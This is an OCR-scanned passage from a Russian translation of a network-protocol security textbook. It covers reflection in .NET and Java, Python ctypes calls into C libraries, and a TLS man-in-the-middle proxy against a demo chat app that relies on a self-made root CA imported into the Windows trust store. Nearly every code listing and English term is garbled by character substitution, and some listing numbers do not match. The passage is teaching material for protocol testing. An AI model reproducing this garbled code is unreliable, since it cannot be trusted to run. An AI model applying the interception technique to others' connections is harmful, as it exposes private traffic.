ку. Поскольку рефлексия не знает, какой метод вам нужен, он также 
не возвращает ссылку на него; вместо этого она просто бросает ис- 
ключение. Сравните это с методом Соппес*(), который сработал, по- 
тому что флаги привязки устраняют неоднозначность вызова. Если 
вы ищете открытый метод с именем Соппесі(), то рефлексия даже не 
будет проверять закрытую перегрузку. 

Эту ошибку можно обойти, используя еще одну перегрузку беї- 
Ме+һћой(), определяющая именно те типы, которые нам нужны для 
поддержки метода. Мы выберем метод, который принимает строку, 
как показано в листинге 8.17. 


Листинг 8.17. Вызов метода Ѕепа(ѕігіпд) 


МеёһодїІпҒо ѕепа_теЁһой = уре. СбеЁМеёһо("Ѕепі", пем Туре[] { ёурео#(5їгіпд) }); 
ѕепі теЁһоа.Іпуоке(сопп, пем објесЕ[] { "даёа" }); 


Наконец, можно вызвать метод Весеіхе(). Он является открытым, 
поэтому нет дополнительных перегрузок, и все должно быть просто. 
Поскольку метод Весе1\уе() не принимает параметров, мы можем 
передать методу Іпуоке() пустой массив или пи. Так как метод Тп- 
уоке() возвращает объект, нужно привести возвращаемое значение 
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к массиву байтов для прямого доступа к байтам. В листинге 8.18 по- 
казана окончательная реализация. 


Листинг 8.18. Вызов метода Весетуе() 


Метво4ТпРо гесу теЁһой = фуре.бе{Мерод( "Веселуе"); 
Бу+е[] раскеё = (Буёе[]) гесу тећой. Іпуоке(сопп, пи11); 


Повторное использование кода в приложениях Јауа 


Јауа довольно похож на .МЕТ, поэтому я просто сосредоточусь на раз- 
личии между ними, которое заключается в том, что в ]ауа нет кон- 
цепции сборки. Вместо этого каждый класс представлен отдельным 
файлом с расширением .с[а$$. Хотя и можно объединить эти файлы 
в файл ]ауа Атсһіуе (АВ), это всего лишь удобная функция. По этой 
причине в Јауа нет внутренних классов, к которым могут получить до- 
ступ только другие классы из той же сборки. Однако у Јауа есть похо- 
жая функция, классы с областью видимости раскаве-ргімаѓе (закрытые 
классы на уровне пакета), к которым могут получить доступ только 
классы из того же пакета. (В .МЕТ пакеты - это пространство имен.) 

Результатом этой функции является тот факт, что если вы хотите 
получить доступ ктаким классам, то можно написать код на ]ауа, опре- 
деляющий себя в том же пакете, который затем может получить до- 
ступ к классам и членам, доступным в пределах своего пакета расКаде 
по желанию. Например, в листинге 8.19 показан раскаве-ргіуаѓе класс, 
который будет определен в библиотеке, которую вы хотите вызвать, 
и простой класс-мост, который можно скомпилировать в собственное 
приложение для создания экземпляра класса. 


Листинг 8.19. Реализация класса-моста для доступа к закрытому классу 
на уровне пакета 


[/ Раскаде-ргімае (РаскадеС1аѕѕ. јауа) 
раскаде сот.ехатр1е; 


с1аѕ5 РаскадеС1аѕѕ { 
РаскадеС1аѕ5() { 
} 


РаскадеС1аѕ5(5гіпд агд) { 
} 


@0уеггійе 
руБЛАс ЅЕгіпд ЁоЅёгіпо() { 
геёигп "Іп Раскаде"; 
} 
} 


// Вгідде с1аѕѕ (ВгіддеС1аѕ5.јауа) 
раскаде сот.ехатр1е; 


250 глава 8 


руБЛАс с1аѕ5 ВгійдеС1аѕ5 { 
рус зас ОБјесі сгеаёе() { 
гефигп пем РаскадеС1а55(); 


} 


Вы указываете существующий класс или файлы ЈАК, добавляя их 
местоположения в путь к классам ]ауа, обычно путем указания па- 
раметра -с1аззра В для компилятора Јауа или исполняемого файла 
среды выполнения Јауа. 

Если вам нужно вызывать классы Јауа при помощи рефлексии, то 
основные типы рефлексии ]ауа очень похожи на те, что были опи- 
саны в предыдущем разделе: тип в .МЕТ - это класс в ]ауа, Мећоа- 
ІпҒо – это МеЁћой и т. д. Таблица 8.5 содержит краткий список типов 
рефлексии Јауа. 


Таблица 8.3. Типы рефлексии Јауа 


Имя класса Описание 

јама.1апд.С1аѕѕ Представляет один класс и разрешает доступ своим 
членам 

јауа.1апд. геҒ1есё.МеЁһой Представляет метод в типе 

јауа.1апд. ге#есё.Ғіе1а Представляет поле в типе 


јама. апд. ге#есё.Сопѕёгисёог Представляет конструктор класса 


Можно получить доступ к объекту класса по имени, вызвав метод 
С1аѕѕ. ЁогМате(). Например, в листинге 8.20 показано, как получить 
РаскадеС1аѕѕ. 


Листинг 8.20. Получение класса в Јауа 


С1аѕ5 с = С1аѕ5. ҒогМате( "сот. ехатр1е.РаскадеС1аѕ5"); 
Ѕуѕёет.ои.ргіпЁ1п(с); 


Если мы хотим создать экземпляр открытого класса с конструкто- 
ром без параметров, у экземпляра С1аѕ5 есть метод пемІпѕЁапсе(). Он 
не подойдет для нашего ргіуаѓе-раскаве класса, поэтому вместо этого 
мы получим экземпляр СопѕїгисЁог, вызвав метод дерес агейСоп- 
ѕігисіог() в экземпляре С1аѕѕ. Нужно передать список объектов клас- 
са в дерес1агейСопѕЁгисїог(), чтобы выбрать правильный конструк- 
тор на основе типов параметров, которые принимает конструктор. 
В листинге 8.21 показано, как выбрать конструктор, который прини- 
мает строку, а затем создает новый экземпляр. 


Листинг 8.21. Создание нового экземпляра из закрытого конструктора 


Сопѕёгисёог соп = с.деєрес1агедСопѕЕгисёог(5&гіпод.с1а55); 
соп. ѕеЁАссеѕѕіБ1е(Ёгие); 
ОБјесі об) = соп. пемІпѕёапсе( "Не11о"); 
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Код влистинге 8.21 должен быть достаточно понятным, за исключе- 
нием, возможно, второй строки ®. В ]ауа любой закрытый член, будь 
то конструктор, поле или метод, должен быть задан как доступный, 
перед тем как вы будете его использовать. Если вы не вызовете метод 
ѕеЁАссеѕѕіђ1е() со значением гие, то при вызове пемТп${апсе() будет 
брошено исключение. 


Неуправляемые исполняемые файлы 


Вызов произвольного кода в большинстве неуправляемых исполняе- 
мых файлов намного сложнее, чем на управляемых платформах. Хотя 
вы и можете вызвать указатель на внутреннюю функцию, существует 
разумная вероятность, что это может привести к сбою вашего при- 
ложения. Однако можно вызвать неуправляемую реализацию, когда 
доступ к ней явно предоставляется через динамическую библиотеку. 
В этом разделе приводится краткий обзор использования встроенной 
библиотеки РуШоп, сЁурез. 


Есть много сложных сценариев, включающих вызов 
кода, выполнение которого не управляется средой СГК, с использовани- 
ем библиотеки сѓуреѕ, например передача строковых значений или вызов 
функций С++. Подробную информацию об этом можно найти в интер- 
нете, но этот раздел должен дать вам достаточно базовых сведений, 
чтобы заинтересовать вас и побудить узнать больше о том, как ис- 
пользовать РуПоп для вызова неуправляемых библиотек. 


Вызов динамических библиотек 


пих, тасО$ и Міпаомѕ поддерживают динамические библиотеки. 
В Шпихони называются объектными файлами (.50), втасО$ -динами- 
ческими библиотеками (.ауір), а в Міпӣомѕ – динамически подключа- 
емыми библиотеками (.П). Библиотека Руоп, сгурез, предоставляет 
наиболее универсальный способ загрузки всех этих библиотек в па- 
мять и согласованный синтаксис для определения того, как вызывать 
экспортируемую функцию. В листинге 8.22 показана простая библио- 
тека, написанная на С, которую мы будем использовать в качестве 
примера в оставшейся части раздела. 


Листинг 8.22. Пример библиотеки Си (Б.с 


асиде <ѕЁаіо.һћ> 
Алсиде <мсһаг.һ> 


уоіа ѕау Һе11о(моїй) { 
ргіпі?( "Не11о\п"); 
} 


уоіа ѕау ѕёгіпод(сопѕЁ сһаг* ѕ#г) { 
ргіпі?( "%5\п", ѕ#г); 
} 
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15Н158-23.ру 


уоій ѕау ипісойе 5ЅЁгіпо(сопѕЁ мсһаг_* џиѕёг) { 
ргіпЕ( "15\п", иѕ#г); 
} 


сопѕЁ сһаг* де Һе11о(уоіа) { 
геёигп "Не11о Ёгот С"; 


} 


іпі ада питрегѕ(іпі а, іпё Б) { 
геёџгп а + 6; 


| 


10п9 айд 1опоѕ(1опд а, 1опд Б) { 
геёџгп а + 6; 


} 


уоіа айа питБегз_гези (Ап а, іп Ь, іпё* с) { 
*с= а + Б; 


} 


$Егисе лире гисе 
{ 


сопѕЁ сһаг* г; 
іпЕ пип; 


}; 


уоій зау_5гис(соп$& $ЕгисЕ 51тр1еЅёгисё* $) { 
ргіпіР("%5 %9\п", 5->5 г, $->пим); 


} 


Можно скомпилировать код из листинга 8.22 в соответствующую 
динамическую библиотеку для платформы, которую вы тестируете. 
В Ипих можно скомпилировать библиотеку, установив компилятор С, 
например ССС, и выполнив следующую команду в оболочке, которая 
сгенерирует общую библиотеку 116.50: 


9сс -ѕһагед -ҒРІС -о 11.50 11Ь.с 


Загрузка библиотеки с помощью Руоп 


Перейдя на Руіћоп, мы можем загрузить нашу библиотеку с помощью 
метода сЁуреѕ.сі11.ІоайііБгагу(), который возвращает экземпляр 
загруженной библиотеки с экспортированными функциями, при- 
крепленными к экземпляру в качестве именованных методов. На- 
пример, в листинге 8.23 показано, как вызвать метод ѕау һе110() из 
библиотеки, скомпилированной в листинге 8.22. 


Листинг 8.23. Простой пример для вызова динамической библиотеки 


гот сёуреѕ ітрогі * 


# В Цлих 
11Ь = сд Ц .1оадАБгагу(". /146Ь. 50") 
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# В мас05 

#116 = сді. Гоааі\Бгагу("1АЬ.ду116") 

# В Міпдомѕ 

#116 = сії .ГоааііБгагу("116.911") 

# Или в МіпаӢомѕ можно сделать следующее 
#116 = с9 Ц. 


1АЬ.ѕау һе110о() 
>>> НеЦо 


Обратите внимание, что для загрузки библиотеки в Шпих необхо- 
димо указать путь. По умолчанию Шіпих не включает текущий каталог 
в порядок поиска библиотеки, поэтому загрузка файла [16.50 завер- 
шится ошибкой. Это не относится к тасО$ или М/іпаомѕ. В Міпаомѕ 
можно просто указать имя библиотеки после сай, и она автоматиче- 
ски добавит расширение .аП и загрузит библиотеку. 

Займемся исследованием. Загрузите листинг 8.23 в оболочку Ру- 
оп, например запустив ехесЁі1е( "1151198-23.ру"), и увидите, что 
в ответ вернулась надпись Нео. Оставьте интерактивный сеанс от- 
крытым для следующего раздела. 


Вызов более сложных функций 


Достаточно легко вызвать простой метод, например ѕау ће110(), как 
в листинге 8.23. Но в этом разделе мы рассмотрим, как вызывать бо- 
лее сложные функции, включая неуправляемые, которые принимают 
несколько разных аргументов. 

По возможности, сіуреѕ попытается определить, какие параметры 
передаются в функцию автоматически на основе переданных вами 
параметров в сценарии Руѓћоп. Кроме того, библиотека всегда будет 
предполагать, что тип возвращаемого значения метода - целое чис- 
ло С. Например, в листинге 8.24 показано, как вызвать методы айй _ 
питБегѕ() или ѕау ѕЁгіпд() наряду с ожидаемым выводом из интер- 
активного сеанса. 


Листинг 8.24. Вызов простых методов 


ргіпё 116.ада питрегѕ(1, 2) 

>>> 3 

11Ь.ѕау ѕгіпо("Не11о Ғгот РуЁћоп"); 
>>> НеДо Ёгом РуЁћоп 


Более сложные методы требуют использования типов данных 
суреѕ для явного указания того, какие типы мы хотим использовать, 
как определено в пространстве имен сїуреѕ. В табл. 8.4 показаны не- 
которые наиболее распространенные типы данных. 

Чтобы указать тип возвращаемого значения, можно назначить тип 
данных свойству 116 .пате. геѕёуре. Например, в листинге 8.25 пока- 
зано, как вызвать метод деї_һе110(), который возвращает указатель 
на строку. 
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Таблица 8.4. Ру{Поп сїуреѕ и их эквивалент в нативном типе С 


Типы Руёһоп Нативные типы С 

с_сһаг, с мсһаг сһаг, мсһаг_Ё 

с_Буёе, с иђуѓе сһаг, ипѕідпеа сһаг 

с_ѕһогё, с иѕћогЕ ѕһогі, ипѕідпей ѕһогі 

с іпЕ, с иіп іпЕ, опѕідпеа іпё 

с 1опд, с_ Чопо 1опд, ипѕідпей 10п9 

с. 1опд1опо, с_ч10п910п9 Топо 1опд, ипѕідпеа Топд опо (обычно 64 бит) 
с Ғ.оаё, с доџЬ1е Ғ.оаё, доче 

с_сһаг р, с мсћаг р сһаг*, мсһаг_&* (нуль-терминированные строки) 
с_моій р уоій* (нетипизированный указатель) 


Листинг 8.25. Вызов метода, возвращающего строку С 


# До установки типа возвращаемого значения 
ргіпё 116.9деё ће110() 
>>> -1686370079 


# После установки типа возвращаемого значения 
11Ь.деё һе11о.геѕёуре = с сһаг р 

ргіпё 116.9деё ће110() 

>>> Нео Ргом С 


Если вместо этого вы хотите указать аргументы, передаваемые ме- 
тоду, то можно установить массив типов данных в свойстве агдіуреѕ. 


Например, в листинге 8.26 показано, как правильно вызвать метод 
айа 10п95(). 


Листинг 8.26. Указание агдіуреѕ для вызова метода 


# До агдфуре$ 
11Ь.ада 1опдѕ.геѕёуре = с 1опд 
ргіпЕ 116.аад 10п95(9х100000000, 1) 


>>> 1 


# После агдїуреѕ 

11Ь.ада 1опдѕ.агдіуреѕ = [с 1опд, с_10п9] 
ргіпЕ 116.аад 10п95(9х100000000, 1) 

>>> 4294967297 


Чтобы передать параметр через указатель, используйте функцию 
БугеЁ. Например, метод айа питђегѕ_геѕи1+() возвращает значение 
как указатель на целое число, как показано в листинге 8.27. 


Листинг 8.27. Вызов метода со ссылочным параметром 


і = с іпі() 

11Ь.ада питбегѕ__геѕи1(1, 2, Буге#(1)) 
ргАпЕ і.ма1џе 

>>> 3 


Реализация сетевого протокола 255 


Вызов функции со структурным параметром 


Можно определить структуру для сѓуреѕ, создав класс, унаследован- 
ный от класса 5%гисфиге, и назначив _11е1.9$_ ргорегфу, а затем пере- 
дать структуру в импортированный метод. В листинге 8.28 показано, 
как это сделать для функции ѕау_ѕёгисї(), которая принимает указа- 
тель на структуру, содержащую строку и число. 


Листинг 8.28. Вызов метода, принимающего структуру 


с1аѕ5 Ѕітр1еѕігис(5&гисёџге): 
_Е\е19$_ = [("ѕг", с сһаг р), 
"пит", с іпё)] 


5 = Ѕітр1еЅігисї() 

Ѕ.5Ёг = "Нео Фгом ЅЁгисЁ" 
Ѕ.пим = 100 

116. ѕау ѕёгисё(Буге#(ѕ)) 
>>> НеДо Ёгом ЅЁгисі 100 


Вызов функций с помощью РуПоп в Місгоѕоћ \У/тдом$ 


В этом разделе информация о вызове неуправляемых библиотек 
в Міпаомѕ относится к 32-битной версии Міпаоуѕ. Как обсуждалось 
в главе 6, вызовы Міпӣоуѕ АРІ могут указывать ряд различных согла- 
шений о вызовах, наиболее распространенными из которых являются 
асаП и сӣесі. При использовании сӣ! все вызовы предполагают, что 
это функция сӣесі, но для свойства итаЙ по умолчанию используется 
ѕіаса!ї. Если ОШ. экспортирует методы сӣесі и $@саП, то при необходи- 
мости можно смешивать вызовы через сӣ! и мїпай!. 


Вам нужно будет рассмотреть дополнительные сце- 
нарии вызова с использованием библиотеки Руѓћоп сёурез, например 
как передавать строки или вызывать функции С++. Можно найти 
много подробных ресурсов в сети, но этот раздел должен дать вам 
достаточно базовых сведений, чтобы заинтересовать вас и побудить 
узнать больше о том, как использовать РуПоп для вызова неуправляе- 
мых библиотек. 


Шифрование и работа с Т5 


Шифрование сетевых протоколов может затруднить анализ протоко- 
ла и его повторную реализацию для проверки на предмет наличия 
проблем безопасности. К счастью, большинство приложений не ис- 
пользуют собственную криптографию, а используют версию ТІ, как 
описано в конце главы 7. Поскольку ТІ.5 - известная величина, зачас- 
тую можно удалить ее из протокола или реализовать повторно с по- 
мощью стандартных инструментов и библиотек. 
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ообсооо 


Изучение используемого шифрования 


Возможно, неудивительно, что ЅирегЕипкуСһаї поддерживает ко- 
нечную точку ТІ5, хотя вам необходимо настроить ее, передав путь 
к сертификату сервера. Для этой цели двоичный дистрибутив Ѕирег- 
ЕипкуСһаі поставляется с файлом ѕегуег.рјх. Перезапустите прило- 
жение СһаїЅегҹег с параметром --зегуег_сег*, как показано в лис- 
тинге 8.29, и проследите за выводом, чтобы убедиться, что ТІ.5 
активирован. 


Листинг 8.29. Запуск СһаіЅегуег с сертификатом ТЕ5 


$ СВаЕбегуег --зегуег_сегЕ СһаЁЅегуег/ѕегмег.рЁх 
СһаЅегуег (с) 2017 Јатеѕ Ғогѕһам 

МААМІМС: Ооп 'Є изе һіѕ Ғог а геа1 сһаї ѕуѕёет! !! 
Гоайеа сегііҒісаќе, ЅиБјесі=С№Ехатр1еСһаЁЅегуег® 
Киппіпд ѕегуег оп рог 12345 С1оБа1 Віпа Ға1ѕе 
Киппіпд ТЕЗ ѕегуег оп роге 12346@® С1оБа1 Віпа Ға1ѕе 


Два признака в выводе из листинга 8.29 показывают на то, что Т5 
был активирован. Сначала отображается имя субъекта сертификата 
сервера Ө. Во-вторых, видно, что сервер ТІ5 слушает порт 12346 Ө. 

Нет необходимости указывать номер порта при подключении кли- 
ента с параметром -- 15$: клиент автоматически увеличивает номер 
порта. В листинге 8.30 показано, что при добавлении клиенту пара- 
метра командной строки --{1$ отображается основная информация 
о подключении к консоли. 


Листинг 8.30. Обычное клиентское соединение 


$ СһаС\лепЕ --Е15 изег1 127.0.0.1 
Соппесёіпд о 127.0.0.1:12346 

ТЕЗ Ргоосо1: ТЕЗ у1.2 

ТЕ$ КеуЕх : Аѕакеух 

ТЕЗ Сірһег : Ае5256 

ТІЅ Наѕһ : 5һа384 

Сегё Ѕирјесё: С№=Ехатр1еСһаЁЅегуег 
Сег{ Іѕѕиег : СМ№=Ехатр1еСһаЁЅегуег 


В этом выводе используемый протокол обозначен как ТГ 1.2 
Ө. Также можно увидеть согласованный обмен ключами Ө, шифр 
Ө и хеш-алгоритмы Ө. В строке с пунктом Ө мы видим информа- 
цию о сертификате сервера, включая имя субъекта сертификата, 
которое обычно представляет владельца сертификата. Сегї 135 ег 
© - это орган, подписавший сертификат сервера, и это следующий 
сертификат в цепочке, как описано в разделе «Инфраструктура от- 
крытых ключей». В данном случае субъект сертификата и издатель 
сертификата совпадают. Обычно это означает, что сертификат са- 
моподписанный. 
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Расшифровка ТІ5-трафика 


Распространенным методом расшифровки трафика ТТ.$ является ак- 
тивное использование атаки типа «человек посередине», чтобы мож- 
но было расшифровать трафик от клиента и повторно зашифровать 
его при отправке на сервер. Конечно, посередине вы можете манипу- 
лировать трафиком и наблюдать за ним сколько угодно. Но разве ТТ.$ 
не должен защищать от атак подобного типа? 

Да, но пока мы достаточно хорошо контролируем клиентское 
приложение, обычно можно выполнить эту атаку в целях тестиро- 
вания. 

Добавление поддержки ТГ5$ к прокси-серверу (а следовательно, 
к серверам и клиентам, как обсуждалось ранее в этой главе) может 
заключаться в простом добавлении одной или двух строк в сценарий 
прокси для добавления уровня дешифрования и шифрования ТІ. На 
рис. 8.1 показан простой пример такого прокси. 


Расшифровка Шифрование 
в -- ТІ5-трафика ТІ5-трафика ты 


Серверное 
Прокси-сервер для переадресации портов ТСР приложение 


Уровень расшифровки ТІ5-трафика 


Рис. 8.1. Пример прокси-сервера ТІ5 для атаки «человек посередине» 


Можно реализовать атаку, показанную на рис. 8.1, заменив шаблон 
инициализации из листинга 8.5 кодом из листинга 8.31. 


Листинг 8.31. Добавление поддержки ТІ5 для перехвата прокси 


уаг фетрТафе = пем РіхейРгохуТетр1аїе(); 

// Локальный порт 4445, адрес назначения 127.0.0.1:12346 
фетр\афе.1оса\Рог* = 4445; 

етр1аёе.Ноѕ = "127.0.0.1"; 

{етр1а{е.РогЕ = 12346; 


маг {1$ = пем Т15№еёногКіауегҒасїогу(); 
Хетр1аќе.Айдіауег(&15); 
Хетр1а+е.Айдіауег<Рагѕег>(); 


Мы вносим два важных изменения в инициализацию шаблона. Мы 
увеличиваем номера портов Ө, потому что клиент автоматически 
добавляет 1 к порту при попытке подключения через ТТ5. Затем мы 
добавляем уровень ТІ5 в шаблон прокси Ө. (Обязательно добавьте 
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уровень ТІ перед уровнем парсера, или уровень парсера пытается 
проанализировать сетевой трафик ТІ, а это не очень хорошо.) 

Установив прокси-сервер, давайте повторим наш тест с клиентом 
из листинга 8.51, чтобы увидеть различия. В листинге 8.52 показан 
результат. 


Листинг 8.32. СпаЕСИепЕ подключается через прокси 


С:\> СһаС1іепё изег1 127.0.0.1 --роге 4444 -1 
СоппесЁіпд фо 127.0.0.1:4445 

ТІЅ Ргоёосо1: ТІЅ \1.0 

ТЕ$ КеуЕх : ЕСОН 

ТЕЗ Сірһег : Ае5256 

ТЕЗ Наѕћ : бВа1 

Сегё Ѕирјесё: С№=Ехатр1еСһаЁЅегуег 

Сегі Іѕѕиег : С№=ВгокепСА Р1еаѕеҒіх 


Обратите внимание на некоторые явные изменения в листин- 
ге 8.32. Во-первых, версия протокола ТІ теперь 1.0 ® вместо 1.2. Еще 
одно изменение заключается в том, что алгоритмы шифрования и хе- 
ширования отличаются от алгоритмов излистинга 8.30, хотя алгоритм 
обмена ключами использует эллиптическую кривую Диффи-Хеллма- 
на для прямой секретности Ө. Последнее изменение отображается 
в Сегї І$ѕиџег Ө. Библиотеки автоматически сгенерируют действитель- 
ный сертификат на основе оригинального сертификата от сервера, но 
он будет подписан сертификатом центра сертификации библиотеки. 
Если сертификат ЦС не сконфигурирован, он будет сгенерирован при 
первом использовании. 


Принудительное использование ТІ 1.2 


Изменения согласованных параметров шифрования, показанные 
в листинге 8.32, могут помешать успешному проксированию прило- 
жений, поскольку некоторые приложения будут выполнять провер- 
ку на предмет наличия согласованной версии ТІ. Если клиент будет 
подключаться только к службе ТТ5 1.2, можно принудительно устано- 
вить эту версию, добавив в сценарий следующую строку: 


115 .СопҒід.ЅегуегРгоёосо1 = Ѕуѕїет. Ѕесигіёу.Аџёһепёісаёіоп. 551Ргоїосо15.Т1512; 


Замена сертификата на собственный 


Замена цепочки сертификатов включает в себя гарантию того, что 
клиент принял сертификат, который вы создаете как действитель- 
ный центр выдачи корневых сертификатов. Запустите сценарий из 
листинга 8.53 в САМАРЕ. СИ, чтобы создать новый сертификат ЦС, вы- 
полнить экспорт в файл РЕХ и вывести открытый сертификат в фор- 
мате РЕМ. 
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вепегие_са 
_ сете. сх 


Листинг 8.33. Создание нового корневого сертификата ЦС для прокси 


45119 5уѕёет.І0; 


// Генерируем 4096-битный ключ ВЅА с хешем 5НА512 

уаг са = СегЁіҒісаќеуёА15. СепегаесАСег&( "С№=МуТеѕїСА" , 
4096, Сегіі ҒісаеНаѕҺА1догі&һт.5һа512); 

// Экспорт в РЕХ без пароля 

ЕіЛе.МгіЁеА11Вуёеѕ("са.рЁх", са. ЕхрогЁТоРЕХ()); 

// Экспорт открытого сертификата в файл РЕМ 

ҒАЛе.ИгіеА11Тех("са. сг", са. ЕхрогЁТоРЕМ()); 


Теперь вы должны найти на диске файлы са.рјх и са.сгі. Скопируй- 
те файл са.рўх в тот же каталог, где находятся ваши сценарии прокси, 
и добавьте следующую строку перед инициализацией уровня Т1, как 
в листинге 8.51. 


СегїіҒісаёеМападег . ЅеАооЁСегі("са.рїх"); 


Все сгенерированные сертификаты теперь должны использовать 
ваш сертификат в качестве корневого. 

Теперь можно импортировать файл са.сгї в качестве доверенного 
корневого сертификата для своего приложения. Метод, который вы 
используете для импорта сертификата, будет зависеть от многих фак- 
торов, например типа устройства, на котором запущено клиентское 
приложение (мобильные устройства, как правило, сложнее скомп- 
рометировать). Затем возникает вопрос, где хранится доверенный 
корневой сертификат приложения. Например, хранится ли он в дво- 
ичном приложении? Я покажу только один пример импорта сертифи- 
ката в М1сгозой Міпаомҳ. 

Поскольку приложения Міпаомѕ обычно обращаются к доверенно- 
му хранилищу корневых сертификатов системы для получения цент- 
ров сертификации, выдающих корневые сертификаты, мы можем 
импортировать наш собственный сертификат в это хранилище, и 5и- 
регЕипкуСћһаї будет ему доверять. Для этого сначала запустите сег*- 
мдг.т$с из диалогового окна Выполнить или командной строки. Вы 
должны увидеть окно приложения, показанное на рис. 8.2. 

Выберите Тгиѕіеа Коої СегИйсаНоп Аићогіііеѕ —> СегИЯсатез 
(Доверенные корневые центры сертификации - Сертификаты), а за- 
тем выберите Асіоп > АП ТазК$ > Ітрогї (Действие > Все задачи > 
Импорт). Должен появиться мастер импорта. Нажмите Мех (Далее), 
и вы должны увидеть диалоговое окно, похожее на то, что показано 
на рис. 8.3. 

Введите путь к файлу са.сгі или перейдите к нему и снова нажмите 
Далее. Затем убедитесь, что в поле Сегіійсаѓе 5тоге (Хранилище сер- 
тификатов) указано Доверенные корневые центры сертификации 
(рис. 8.4), и нажмите Далее. 
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а сегігтаг - [Сегіїйсаїеѕ - Сиггепі Џѕед\Тгиѕќеа Воо{ Сегіїйсайоп Аићогійіе\Сегіійсаѓеѕ] х 
Ее Асіоп Міем Неір 
ФФ аа ось 0 
| Сегіїйсаќеѕ - Ситепі Оѕег 1ѕѕиеа То б Іѕѕиеа Ву ^ 
> В регзопа! Ез] АЧаТгиз+ Ежегпа! СА Вос! АааТгиѕї Ежегпа! СА Вос{ 
У 8 точеа Кос ам Е] АНитпТги${ Соттегсіаї АЕЯггоТгы$Е Сопптегсіаї 
‚ @ ттт а Атегіса Опііпе Коої Сегіїйісаќіо.. Атепса Опііпе Коо{ Сег#савоп .. 
» Ш пеетпефаие Сегібсабоп Аш Е] Ваіітоге СуБегТгиѕ Коо Ва\итоге СубегТгиѕї Вос! 
> [1 дснуе Оігесіогу Цзег ОЫјесі СЕ САМАРЕ Вос СА АЕ ОА 
> [Ш тиѕќеа РиЫіѕһегѕ Басат КооЕСА ТВОЕ 
> [1 умкгияед Сегіїйсаѓеѕ Ся Сейит СА Спит СА 
› Е тһіга-Рагу Коої Сей сайоп Са Сейит Тгиѕќеа Мемюогк СА Сейит Тгиѕќеа Мемюгк СА 
> 89 тизеа Реоре Ея Чаз$ 2 Ргітагу СА Саз$ 2 Ргітагу СА 
> Г сіепі Ашћепіісаіоп Іѕѕиегѕ || Ся С!а$$ 3 РиЫіс Ргігпагу Сегіїйісаќі.. СІаѕѕ 3 РиЫіс Ргітагу СегЯсайоп ... 
> 83 Олег Реоріе С 1СОМОРО ВЅА Сегіійсайоп Аиї.. СОМОРО В$А Сегіїїісаіоп Аиёћо... 
> 89 (оса МопВетомаЫе Сегіійсг| Е1Соругі9ћ (©) 1997 Мегозой Согр. Соругі9һ (©) 1997 Мегозой Согр. 
> [М мслѓее Тгиѕї Е Оеиќѕсће Теіекот Вос! СА 2 Реиќѕсһе Теіекот Коо{ СА 2 
> [1 Сепібсаѓе Епгоітепё Ведиез | С,]019іСет Аѕѕигеа 10 Коо СА ОідіСег Аѕѕигеа 10 Коої СА 
> В этак Сага Ттиѕіеа Вос Е1019іСег боба! Вос! СА ОідіСегї СІоа! Вос! СА б 
р 5 = ИНН МИР асаа ее 


Тгиѕќеа Коо{ Сегіїїісаііоп Аиїћогіііеѕ ѕќоге сопќаіпѕ 66 сегіійісаќеѕ. 


Рис. 8.2. Диспетчер сертификатов Иіпаоууѕ 


<. 


5" Сейсае прог М/гага 


ЕИе {о Ітрогё 
Зресйу ће біе уои мап ёю тром. 


Не пате: 
| са.сп| 


М№оѓе: Моге пап опе сегіћсаќе сап бе ѕїогеа іп а ѕіпдіе Яе іп ће ѓоіоміпо ѓогтаќѕ: 
Регзопа! Іпѓогтабоп Ехсһапде- РКСЅ #12 (.РЕХ,.Р12) 
Сгурќодгарћіс Меѕѕаде Ѕупќах Ѕќапаага- РКСЅ #7 Сегійсаќеѕ (.Р7В) 
Мсгозой Ѕегіаїігеа Сегібсаќе Ѕќоге (.55Т) 


Рис. 8.3. Использование мастера импорта сертификатов для импорта файлов 


На последнем экране нажмите Еіпіѕһ (Готово); вы должны увидеть 
диалоговое окно с предупреждением, показанным на рис. 8.5. Прими- 
те во внимание это предупреждение и нажмите Үеѕ (Да). 
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< 5“ Сепійсаїе трой М/ігага 


Сегіібсаѓе 5{оге 
Сегіћсаѓе ѕїогеѕ аге ѕуѕќет агеаѕ уһеге сегібсаќеѕ аге Кері. 


үүіпаоиѕ сап ащотабса!у зеесЕ а сегіћсаќе ѕїоге, ог уои сап зресйу а Іосабоп юг 
фе сегіћсаѓе. 


(О Аиютабса!у ѕејесі ће сегіћсаѓе ѕїоге Баѕей оп ће {уре оГсейсае 
(@) Расе а! сегібсаќес іп ће ќоїомііпо юге 


Сегіћсаќе $юге: 
Тгиѕќеа Аоої Сегіћсабоп Аићогїйеѕ 


Рис. 8.4. Расположение хранилища сертификатов 


Будьте очень осторожны при импорте произвольных 
корневых сертификатов в доверенное хранилище. Если кто-то получит 
доступ к вашему закрытому ключу, даже если вы планировали протести- 
ровать только одно приложение, то он сможет применить атаку «чело- 
век посередине» на все ваши ТІ.5-соединения. Никогда не устанавливайте 
произвольные сертификаты на устройство, которое вы используете. 


бесийу М/агпіпо 


Уои аге абоиї ќо т${а! а сегііћісаќе {тот а сегііїісаќіоп аџиќҺогіќу (СА) 
ааігпіпо {о гергеѕепё: 


МутТеѕСА 


Міпаомѕ саппоѓ уаіідаїе {Һа {Ве сегіійсаќе 15 асіџа1іу тот "МуТез{СА". 
Уоч ѕћои!а сопйгт і огідіп Бу сог(асипта "МуТе${СА". Тһе ѓоПоміпа 
питбег мІ аѕѕіѕї уои іп {15 ргосеѕѕ: 


ТһитЫргіпќ (ѕћа1): 1СВ21756 65901С16 0СЗ60Е21 В5ЕЮ5792 АЗО6АЗС9 
Уагпіпд: 

І# уои пай ћіѕ гооќ сегийсаке, М/іпаомѕ мм ащогпайсаЙу їгиѕї апу 
сегіійсаќе іѕѕиеа Бу #ћіѕ СА. папа а сегіїйісаѓе мВ ап ипсопігтеа 


їћитбргіпї іѕ а зесигИу гіѕК. № уои сііск "Үеѕ" уои аскпомедде {1$ гіѕК. 


Ро уои мап їо іпѕќа!! #ћіѕ сегЙса{е? 


Рис. 8.5. Предупреждение об импорте корневого сертификата 
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Пока ваше приложение использует системное хранилище корне- 
вых сертификатов, ваше прокси-соединение ТІ будет доверенным. 
Мы можем быстро протестировать это с помощью приложения Ѕирег- 
ЕипКкуСћаї, используя параметр - -мегіҒу с СһаїС1іепі, чтобы активи- 
ровать проверку сертификата сервера. 

По умолчанию проверка отключена, чтобы можно было использо- 
вать самоподписанный сертификат для сервера. Но когда вы запускае- 
те клиент с прокси-сервером с помощью параметра - -мегіҒу, соедине- 
ние должно завершиться ошибкой, и вы должны увидеть следующее: 


551 Ро1ісу Еггогѕ: ВетоёеСегЕі Ғі саёеМатеМіѕтаЁсһ 
